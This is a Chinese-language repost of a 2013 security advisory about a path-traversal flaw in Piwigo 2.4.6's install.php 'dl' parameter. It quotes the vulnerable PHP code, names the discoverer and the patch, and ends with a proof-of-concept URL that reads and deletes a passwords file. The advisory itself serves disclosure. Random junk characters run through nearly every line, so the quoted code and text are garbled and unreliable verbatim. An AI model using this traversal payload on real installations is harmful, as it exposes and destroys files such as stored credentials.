Piwigo是用PHP编写的相册脚本。' l4 K1 g# w8 ?: s, ]) E- [4 j
$ p/ S) c/ m) F# R1 @
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
0 e/ ~- @" x0 u h, t1 Y+ H==================================================================== d6 \. c2 ?; `: R
/install.php: y7 o% @3 `4 J4 C2 ^1 ?" Z
-------------9 t4 d: H- I2 f% E7 M- q
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))& i* A# d4 l% l$ |) _% b+ ?+ K; C2 Z
114: {, }; x5 S3 ~7 J$ T) @* G
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
! c/ i: Y w9 u3 r# {116: header('Cache-Control: no-cache, must-revalidate');
. t. D6 k9 D. R& Y( V0 J8 Y' z117: header('Pragma: no-cache');
$ V* P6 m4 w+ A; a; z7 L118: header('Content-Disposition: attachment; filename="database.inc.php"');
, K+ k* w/ P2 t( J9 D6 D8 |" O! z4 X119: header('Content-Transfer-Encoding: binary');, U; u0 A) r; E3 _
120: header('Content-Length: '.filesize($filename));7 I" e: R' ]( g% x& v, A
121: echo file_get_contents($filename);
5 b( z. {) K. ?) _2 X; U# y. R122: unlink($filename);
9 A6 }) W4 B# Y! c, e123: exit();
9 R# [( t8 s9 D124: }. D3 `; K, r5 A, z/ \4 w$ S
====================================================================
2 \4 Z4 i! W1 O' o 4 O8 E" c9 ^5 V. U0 ~" s+ x7 Q
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
# Y8 }' J+ a- N" |4 a. f( | Apache 2.4.2 (Win32); ~! n) T; M# H- c3 N* k: Y
PHP 5.4.4/ L, Q6 ^; b9 U* ^) O
MySQL 5.5.25a4 [7 v$ z/ d8 z9 i7 Z
2 b& j4 _1 w3 u, iVulnerability discovered by Gjoko 'LiquidWorm' Krstic
: c% b6 V0 h8 s" a! X7 d$ m @zeroscience
$ u6 p# z, c& F: e 3 D; l' y. ~- I
Advisory ID: ZSL-2013-5127
$ S$ C; m/ _+ eAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
4 W7 ` z. C1 H$ I: D" \9 ^Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
# F4 z; I1 a/ [ _ G
/ [8 M9 y) }: |2 r15.02.2013
( h4 r0 K! }4 p5 N; F, Z
0 D& M$ D2 D. v8 S--4 ]' I6 e0 d3 Q4 o _: @( W" _
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt8 t1 _) i( ^1 ^6 \# k2 j& l. X2 k7 \
! f6 e! }1 D. r/ i& g8 y1 d/ v |